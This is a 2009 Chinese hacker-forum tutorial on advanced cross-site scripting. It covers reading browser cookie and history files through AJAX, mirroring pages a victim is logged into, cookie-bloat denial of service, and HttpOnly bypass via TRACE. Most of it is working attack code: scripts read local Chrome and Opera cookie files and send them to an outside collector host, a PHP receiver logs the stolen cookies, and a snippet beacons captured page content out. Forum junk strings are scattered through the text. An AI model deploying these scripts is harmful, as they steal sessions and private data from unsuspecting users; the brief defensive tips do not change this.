XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
! f. Z+ G) {& u6 ?9 u本帖最后由 racle 于 2009-5-30 09:19 编辑
! l; v- A. ~" u7 {& s
$ Y" B5 w0 K9 t) N: E: F+ WXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
  F2 K  d! r+ A" K. H) Z/ H转帖请保留版权

8 F: b, i- Z) o# g: O- n+ p% A
6 O# j1 y$ Z5 U2 i+ G
-------------------------------------------前言---------------------------------------------------------

# @5 E4 e  _6 e8 l. ]& J; o
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


如果你还未具备基础XSS知识,以下几个文章建议拜读:
$ {/ d2 h/ S# F& O. g1 Thttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
6 I* E, O8 J, w0 z# t4 h; Ehttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
: h4 Y" c, u8 s+ l: r/ Ahttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
0 Q1 |/ W- A9 b3 r3 H
4 {$ T% T0 I% I# Q, z5 ?
; T4 ?. h/ D+ ~8 m* T
1 A* Q" p) [" v
: M0 g! [% L- R" T8 Y如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
3 S6 O! O9 a4 ~# x& W
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

' B5 {0 ~* m  p- O" b; pBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

QQ ZONE,校内网XSS     感染过万QQ ZONE.

) X" \6 K( [% N! U4 `8 _# G  tOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

2 _3 k& G3 t) f4 X9 l; B/ O; F..........
复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.



/ A2 s2 ?: Z# w跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.



如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
- ^! t% ?2 D* s2 _复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

, h, e% n5 z& R7 f1 v/ v1        通过XSS,我们能实现什么?

3 |; b/ h4 G% `, O$ t2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

, {8 q3 o1 p: s7 ~6 Y8 m3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
' n/ d1 Z+ A2 j9 K; H
! B  |0 I6 u" L# o4        XSS漏洞在输出和输入两个方面怎么才能避免.
7 w' ?, W8 V2 x" a
: ]  l# s* Y0 F9 d

------------------------------------------研究正题----------------------------------------------------------
; V6 w' o/ u; m
4 [1 w0 D9 ?/ O) D. o: S

通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
- o: p5 h* |! [+ M3 b复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
) D( R! u- t9 E2 ]复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
  \! D- m. e/ A) z1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
& s+ E: m) t7 ?9 q9 i/ s2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4 P! I* J( I8 U+ B+ `1 W4:Http-only可以采用作为COOKIES保护方式之一.
! U( {( i" o8 F4 M1 t% i
# b3 E2 |8 J( s7 o2 B

/ t! _6 \- }; m7 Z2 v, B7 t; e6 Z
9 u3 U3 r) H* W( S  b* b( S! J
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
$ ]+ M2 ]' S1 o
% v$ a( [4 _# b0 B我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
9 `% R% j5 l' z0 Z3 M. R


# C4 g- Y9 l1 E. n4 J; E    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
' G. E* k+ K- d: D- |

1 v0 C( F1 F: K+ k$ r1 B
6 W6 A$ `$ B. l+ I, h/ O5 L, ^    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
; |$ {% e  B8 c
/ N2 s% `. `. C2 u1 E8 K
" ]+ ~4 Z: O4 d9 |
- w% u0 t2 @, U2 k6 m, d7 }    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
" e, M2 L. Q& ?3 x复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}
  S9 N  a* E% |6 w- A6 i( g4 m


    function ajax_obj(){
/ n* G" R$ r5 E2 h$ |* C3 s
' U+ ~, G& r7 J    var request = false;
0 C1 r- Z+ k5 v: Z
    if(window.XMLHttpRequest) {
3 j2 F& Y$ z  v. s$ N$ `: Q
    request = new XMLHttpRequest();
: U0 ^" D( v% i! a
+ D8 ^. @' X& m' E$ |    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

$ I3 {9 J; D9 q4 }8 A

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
/ N/ P) A: a" G0 F, o  G" T
    for(var i=0; i<versions.length; i++) {
" Q( Q- w+ {! ?- B( Q" W! l+ R
, x$ G" k5 k- C1 W( f' b    try {
8 h0 M# t# W. U3 j% g' Y: m$ S9 |7 f
9 X- @- d; Q- z% Z) L. b    request = new ActiveXObject(versions);

    } catch(e) {}
& I/ i. f/ j- @' g
    }
3 Q$ G# i4 C0 ^4 P; {+ t& t
# e: C7 o* h3 L/ a* A  l    }
: X  X2 {. _$ C4 Q: R9 g
    return request;

# P/ Y- a, R! |1 p7 m    }
. x+ Z- {/ G; r6 D# Y% J& |5 @
    var _x = ajax_obj();

' I' Y) T: A+ B$ y    function _7or3(_m,action,argv){
. ]9 f( h& Q/ k, }. |: ?* s
    _x.open(_m,action,false);
7 F4 |$ A9 g3 Y% `* N0 U& v  [
. R" C. X6 \8 K) E$ u' v, e" I$ h    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

9 A) B% E$ _* W1 E, Q$ R% w: u% t  I    return _x.responseText;
1 s+ H( z( E) S! w5 i
! L% c( b+ A) @+ r& X+ E. |    }


% ~8 e0 `, h& C4 h
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
5 [4 \4 i. O6 a; f) R* T) s$ c) ?4 B
    alert(txt);

4 n% b) @3 P* C8 n# G: m3 Q

- C( g5 g9 ?2 a    </script>
9 i& r# T- K) a复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
3 h4 r& }; f; Z% K# U% t$ H
) o/ u4 V9 L. H    function $(x){return document.getElementById(x)}
% y+ c+ W% Z: j: U
! d3 x8 v0 y% m* k- v( u/ h5 h. P
: s6 _  C( b. h. a( t
    function ajax_obj(){

    var request = false;
1 g( i2 b, v; @" U. K/ _+ _
    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

2 A& F7 t+ w+ K5 _/ |8 V! u    } else if(window.ActiveXObject) {
4 g7 N9 J4 T# y  r
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

# R9 p1 f7 W3 ~/ y
7 l4 ^. n, @# ?: v! e! A; K
- Q/ w' S% V- F3 s7 B8 L    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 e6 ]9 r- }& ]" M/ v" W1 v
4 m, I: _/ D& z' J% b. T    for(var i=0; i<versions.length; i++) {

# ?( {# O" I+ g% Q& P    try {

    request = new ActiveXObject(versions);

: ~  H- k- {* y9 j! W    } catch(e) {}
' s2 [& K5 p$ C8 @
1 B& o+ H7 @) `, n& w4 I+ d    }

$ [8 j1 L% {0 `    }

    return request;
; z" W) o0 h' ^2 j, a
    }

1 v9 K/ L; n( ]7 k5 T    var _x = ajax_obj();
+ b4 e2 a! |7 u/ q5 ~
2 r& W: l" p7 }# s- S    function _7or3(_m,action,argv){
+ ?+ s0 a' m5 d9 k! m3 @
    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
/ R  r' Z' M3 u! A; Y0 U8 o- \) B
+ F  z4 r/ A1 o: K+ M5 T1 b9 M    _x.send(argv);
, j8 W8 |4 f: ~+ i+ T, x
( W: j2 b- d8 l, }3 c7 K* S    return _x.responseText;
& g9 P4 z3 m/ G/ i! e) z8 g4 H
    }
) x4 _  d4 n' a3 r: r/ @! K
! R8 P' X7 [  g( d; G! b7 V

4 o* J+ t4 R# v" g% o) I    var txt=_7or3("GET","1/11.txt",null);
: J# d, ~& j$ N, e
    alert(txt);



    </script>
* j7 w, t, ^" e% Z7 z& m复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
1 D+ X5 C; i) v3 B
8 U/ H' P3 E/ D2 ?0 s
- A  L: c1 h) T. {4 D* H
" c4 O% E9 S0 W" iChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"



<?   

- N3 A7 B. f; G0 T+ D- U& \4 P$ n- J/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

( L* L1 y/ O0 u     www.inbreak.net   
/ A: [8 e2 [1 R
     author voidloafer@gmail.com 2009-4-22   
  B9 ]6 W. p" _  h! y& s! x
     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  

7 T/ w& D* H. F  Hheader("Content-Disposition: attachment;filename=kxlzx.htm");   
% p  S) V$ u5 ~- E* v% U
! w! x5 B0 H# _9 c/ Oheader("Content-type: application/kxlzx");   

( C3 T* \- h- m1 T/*  
! f  g! ~. J% I( p" S/ K- M) z* ?  T
% X8 ?' p/ Y- j! c5 n2 c5 y7 T9 _$ P     set header, so just download html file,and open it at local.  

, e2 O& F1 @4 c% ~$ `* N8 F*/  

+ E. v. @0 D3 B, m0 Z% x: A?>   
2 E5 R1 D* c7 D. B, |# Y/ y
! ~. f3 l. K0 ^: |; J<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   
' U& s+ j3 S! v4 F, V( O
0 c) u0 L# w8 S" N; E5 b</form>   
; {  h; C% q3 ]& E( v1 ~7 M
$ z0 P$ P/ d& R<script>   

; E4 l% Z+ V! c# R5 Z& r6 c$ `3 Ifunction doMyAjax(user)   

{   
: O% M# i0 z' ~, g9 s7 Q  p
( G% ~: K& c; Y& d7 Gvar time = Math.random();   
4 ]) ]  F2 K; p- @- S! B! E
/*  
' q; l& a- v9 E, \
5 |( f5 j4 X9 _% `% ]/ G3 Bthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

: U  h- I2 J" Eand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  

*/  
" @5 s* M8 M" l, z8 N1 o( c6 h2 z8 Q
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   

startRequest(strPer);   

8 O. a# j: c7 G6 c; [2 l" L
3 F% ]+ V  i" _6 G! S# \
' n2 u0 r& n/ G1 `% W9 H: x}   
- H+ f" R" n" L+ w' O
& O( o0 b2 S1 I- H   

function Enshellcode(txt)   
$ V" x- p& H, Q8 T# ?4 T
1 z; w, n, U  f( A+ M0 r{   
) M# y) a6 M6 ^% l( D+ ]
$ e4 |- L0 S& }7 svar url=new String(txt);   
# }' I& o8 N2 {, y8 D% n; u8 }
+ J+ z7 [6 d8 qvar i=0,l=0,k=0,curl="";   

. Q# L" M* B, h# H/ N1 Jl= url.length;   
  |9 d! C7 k1 ~  m0 n
for(;i<l;i++){   
  V9 Q/ b1 u, r0 B
k=url.charCodeAt(i);   
$ l; T7 @8 W& e; x" h( `
/ K- {+ x& e% }( ]' i) g1 l) s5 f& [if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

- Z. c3 t; G$ u& wif (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   
/ h# \- E  l8 V" v+ T0 d  W$ W- j/ B. O
return curl;   
( U3 p3 O) d+ R. p7 c' a; p
8 z# H4 h( b" K, o}   
7 Q, z: X5 [' {2 ^
6 s8 K2 M# u, S) n9 ]   

' a2 ]4 t* e8 K- g  Q- M! b. W+ [   
( U  g5 r; S  \4 }2 d, Y  {
9 H0 J3 t5 f( Z* \) m# P0 B  c  Zvar xmlHttp;   

6 E6 I$ g  t3 m# Y2 E: Y0 h* Dfunction createXMLHttp(){   

     if(window.XMLHttpRequest){   
. s& P4 d' @8 X0 e
1 e' r5 \- }; i5 H4 L0 c: ~$ H. gxmlHttp = new XMLHttpRequest();           
; ~& ^6 @0 b7 v" D
* G+ @: N1 X# x' f$ I% F, \     }   
) h# l) w* ~$ y
: P7 }$ k& j: H7 I. b7 G+ y9 |     else if(window.ActiveXObject){   
% O- i2 Z3 H# F2 a/ ^* @
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

/ ^8 U  u% ]3 [) l. a& X& X     }   
2 N1 G7 U6 o, Q
}   
. k; R8 [: O. ]9 j% F
   
  `0 i, r5 c, q: @
function startRequest(doUrl){   
& p2 }3 F4 q3 ~+ X, |" e9 k: ^
   
- Y* T$ [6 x8 a8 v8 P. j7 e
     createXMLHttp();   


& L, z& ~! y) q0 K3 `; R6 C9 c
9 ]% D1 B0 x* i  s5 K     xmlHttp.onreadystatechange = handleStateChange;   

2 n  r$ B+ Z1 l6 l: A

     xmlHttp.open("GET", doUrl, true);   


+ y9 K9 O) b& [3 y* f. M! M3 y  W
* K2 J7 H9 a6 }: t     xmlHttp.send(null);   
) V8 N/ ^( n; J  w5 B

  K% A; B+ ~+ l4 n
6 O2 F7 l" n. }6 x; u/ i& F

2 B. o; U4 c; O9 I}   

$ _5 G* X% U3 @3 b   
7 h4 E; n8 ~- w: v- }- P
; g: r  b( `% y! {function handleStateChange(){   

  Q( D8 W2 r; Z, {" i! a     if (xmlHttp.readyState == 4 ){   
7 U. }) r$ l% U7 D& ?& K( h
3 y- j2 V7 D. E     var strResponse = "";   
8 i& b2 Q4 B5 D2 a6 i9 Q
/ k1 O% U" v- _% P+ ?! s: }" {7 c     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
  S. s, t! r* P6 C
        
$ I% T3 G' h% Q8 m/ [$ j# N
- a- i% i* @& H. o( t) _/ B0 G6 i     }   

}   
- ], y( y+ T# x' x1 s6 E
   

4 R  r  h- s& N9 j   

& Q' x0 f5 U* rfunction framekxlzxPost(text)   

- x% r# B) J. y" A{   
8 q& k- Y. d2 y8 a
     document.getElementById("input").value = Enshellcode(text);   
! y/ c3 c  [3 K3 ^; ~
     document.getElementById("form").submit();   
( @  Y/ y! g! v  T7 n6 V- P
' ~7 s" L" n2 p- Y! A* ^}   
5 W' e1 S- g( `' C8 i% c. J- j& Z
   
4 ]' [* M4 X0 N% q) Z
doMyAjax("administrator");   

4 X- {3 X' \' y- z1 q% K' Q   
/ g6 w$ Q# U+ ^; B' j
</script>
' p6 j# ^7 L0 I) Y. W2 r, r复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

var xmlHttp;  

function createXMLHttp(){  

     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         
, G* _& d: p6 B  N$ I* ]  L7 f
) g4 q( u8 g4 B' n     }  

     else if(window.ActiveXObject){  
8 t0 N: C$ C' P; P8 \$ e
' s1 q; l$ S; y& v9 y+ e' U         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

; c$ z  \2 O! b7 h2 e+ A     }  
$ W/ k8 h; I& c. ?6 U8 e
6 X+ Q7 M; j/ N% c}  

# b4 `) W6 u) s6 C   

function startRequest(doUrl){  

           

     createXMLHttp();  

      

2 k1 ~  a3 t# ?     xmlHttp.onreadystatechange = handleStateChange;  

/ [: K$ c3 v) X/ {- T* }4 d6 \& s      

     xmlHttp.open("GET", doUrl, true);  
% p- h. Y4 |( ~
      

     xmlHttp.send(null);  

: [, Z) M' I% }6 S      
" s! [5 _* ?! ?& g2 J6 q' j
# r; D/ t' O4 {% h$ o      

}   
# x% j7 [! {1 g/ d/ z, H4 X7 I
   
: E' ^, `1 e: b
  v# i# T# v& W0 f5 o* s) vfunction handleStateChange(){  
1 z: F& a5 L# a% A8 W* j7 N
     if (xmlHttp.readyState == 4 ){  
( @7 m& G1 A; i7 ~. e
8 E( Y2 i, v# q             var strResponse = "";  
7 r% K7 z. v! K/ J, k; Q8 `0 O
" v8 m5 D. T; \" j9 b             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

               

     }  

}  

% ]: i' `2 Y6 b) g2 T1 A* w* i   

* Z' a" t* `- e9 Y; O2 Kfunction doMyAjax(user,file)  
9 T& ?! h8 r. q7 G. Q+ J
4 a7 A2 B1 d# S- K{  

: j4 _! L. ]# P& m) D* U  C         var time = Math.random();  

. k9 G0 y' ~5 s- ?           

         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

5 Y0 F" H! ]! f# f5 Z           
4 E& L" M! E1 g
         startRequest(strPer);  
& Q4 b& e( W! G. g8 O* Y& e4 x
      
8 P# i  y6 [2 ]5 e6 p- n, U3 p
* w+ i3 _7 W6 O) F0 ^" T7 z) ~4 ]$ m6 j}  
8 P: u* P! y" a/ u$ G
3 ?2 J) @; Q. ]   
0 a% i  z8 s! ?6 Z8 _
7 [* z% ^$ r- J+ x/ f9 ~5 zfunction framekxlzxPost(text)  
( Y2 Z$ b( m/ J8 _) ]
{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
2 q1 y1 @6 T2 Y. d( p4 L
     alert(/ok/);  
# H. ~( [/ B! n/ c
}  
2 R0 A5 g! A" E* X4 n& E) |
; @1 y2 n) p( {9 j   
$ D; V2 S3 f3 X, T% z* W+ z
doMyAjax('administrator','administrator@alibaba[1].txt');  
. _2 k  Y% p7 \' f
2 ^6 R" O. D9 f   
+ Y8 `7 w9 t  X# V) b
</script>
# F$ V; |. Q, n" z+ P% ]


6 N+ _' E) X4 K5 d% M# x0 h6 a! h" P

+ G* z# H- ?) Ha.php

8 @2 m; v% x% \4 S6 w7 n9 W
% o7 {$ U& f7 @) h
# g4 h6 [: Y! P. R  u, v2 n<?php      
$ K# f" _# k" e
   

$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

! R& `' o9 Q! S6 w* U5 v' T$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
8 X- f. t$ p# x
& z9 q: J! T& a0 y1 P! ^  
# O" `/ a7 ^0 K2 n
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      
$ K; @' C* C+ q8 \$ R
, I8 |4 w. r0 K* ^2 m+ @' ffclose($fp);   

?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
' r' e  O" i, o
6 X" R  A* [4 i  Y代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
( s1 V" V' Y; N& U; }: F0 P) o
% B$ x- T; s; n6 v//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {

9 U/ ^6 i- p" B0 ]4 o% Mvar image = new Image();
  D# B: J/ J- x8 |
3 V; M1 J& y: }$ Bimage.style.width = 0;
  [- r8 U2 n) V/ a: q9 u
image.style.height = 0;

: f% j: R; E: C+ r9 a* Qimage.src = s;
' e$ R+ E( V2 R* i2 z7 T3 N; P
}

8 d1 m3 |2 J4 Z6 ?8 bgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">

5 r$ G- Y- B5 k2 Fvar metastr = "AAAAAAAAAA"; // 10 A

* G3 v0 m0 W+ N1 Fvar str = "";

# \2 f9 f# T( G% \. N3 c2 Xwhile (str.length < 4000){
; x0 M" w' `. a& \
: n! T) ?) @' Z8 J    str += metastr;
$ x1 M9 }, Y2 ]) L. G3 K
}
; d7 P* l9 [7 s0 O
2 P" n% F; P% `) Q

document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
7 i  a  P+ u8 x: h
3 k6 Y& @+ `% D( i4 a; F</script>
9 {) v# f1 D9 o# {* C! ]5 W8 X
0 T1 \, s. R, Y5 m. N2 Y详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
6 O, R) g* |7 E8 ^复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
% U* d! i# q% q3 d4 y! nserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

& U% Z& g9 y; x  z' h4 z假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
* w& D9 B' D& b攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
! m6 s! ^$ T$ ~* {9 ?
$ e; U! w( x: Y1 g1 ?; X


. `; i- {. `$ B( v

(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
! b3 |/ r+ N- m9 {. N以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
# Y4 I% m) c1 M- o- z3 x4 G
<!--

function normalCookie() {
, f- D- P! n  I6 D% @9 U
document.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);
! d. I/ O% w- l
}

$ x0 \" [1 I; o
4 h% L! ^; A9 r$ Q  g! G! k1 j


function httpOnlyCookie() {
- i+ s/ c. z, D8 ], O9 ~  @' @
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

* ]: P" }  u# V  M7 h# ^alert(document.cookie);}

% C% `5 E+ t6 u3 Y1 I
% p2 D; I: F/ z9 i( X' i8 @+ w
//-->

</script>
, ?8 t- |0 |; |( Y6 b' {

" K4 |6 u1 G* V* u# ~. `
% @6 B, N2 B: I. ~  h$ I<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

6 D3 \% M/ a9 S0 P<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
( F* j# z/ r# [. {* C  b复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
9 y7 p1 M" b; W: B
! y( P, T- @* @/ E
% y) e2 w  o' S# `4 ?4 z0 J, `
, D2 K9 ^. d" w( t7 Nvar request = false;

9 k5 ]8 g5 p0 l% H        if(window.XMLHttpRequest) {
7 \" L$ F! m% m, u( W; A& e1 s
7 Q/ O6 K. Z$ b7 |  ^& Z            request = new XMLHttpRequest();
, S% s5 Q( Y3 B( l- r7 q
            if(request.overrideMimeType) {
( \/ q# g. ~2 V  t8 s- s- S* x5 a
7 m5 x2 R$ D( N5 F: k, w; M' J                request.overrideMimeType('text/xml');
' Q" k! g6 a& S
: k8 O" l1 F" a- y            }

1 d! g, g7 Q) X        } else if(window.ActiveXObject) {
! Z0 M) r; Q9 U* B1 o: ]; v
            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
' \1 w% }5 }" X
0 b; q: @: M7 i: v- ?1 p9 E" Y" q            for(var i=0; i<versions.length; i++) {
: k3 m2 [2 _4 C& \/ O6 H4 K
% d9 k" F* ~2 {( i  `                try {

6 U% J$ ~$ w/ b% b# U) M. o                    request = new ActiveXObject(versions);
# b. i" Q3 Z8 @: r6 c5 R, G1 w; x
                } catch(e) {}
( [" b( D- Y. X0 x
; k4 y& s6 m. S0 v) F. D3 _            }

( r& ?5 V6 x0 `  z5 H/ i3 P$ |( \+ I        }
" L1 p$ ]3 y  c+ i# ]$ Y
& p' c- o# j+ q1 ~xmlHttp=request;

: q& U0 ^& ]' I9 `+ N* FxmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);
7 u# N8 ~5 {. v& k
xmlDoc=xmlHttp.responseText;
( y9 U( ~3 j# ^
alert(xmlDoc);
6 Z) T8 D1 ^. ]( f
</script>
5 b6 U1 B0 y. S# \& N复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
1 p. H, \# N; a/ }2 X9 V! Y  I
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
3 \7 u) Y8 U' j! g. h, e0 g: D
XmlHttp.open("GET","http://www.google.com",false);
) k# o* c4 X9 {% C- w
/ P) u0 m) K# r. _$ `2 {XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
9 i6 I7 a2 E/ C' Q* O( Y
2 w6 T, Y/ K5 d& |+ vXmlHttp.send(null);

( W( j7 [( h7 X3 M; Z, m. mvar resource=xmlHttp.responseText

" R7 R8 `, _6 H3 l- O1 O4 E& h9 dresource.search(/cookies/);

......................

</script>
- R) p/ @& M1 p* {1 i; U


# E. |8 n8 ]/ I/ z2 O
1 l, ~1 Q2 u7 g- V: N2 }
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

[code]

RewriteEngine On
4 D2 @9 G; i3 `$ f9 v& D
& r: D- C" ]* }3 Z7 dRewriteCond %{REQUEST_METHOD} ^TRACE

RewriteRule .* - [F]


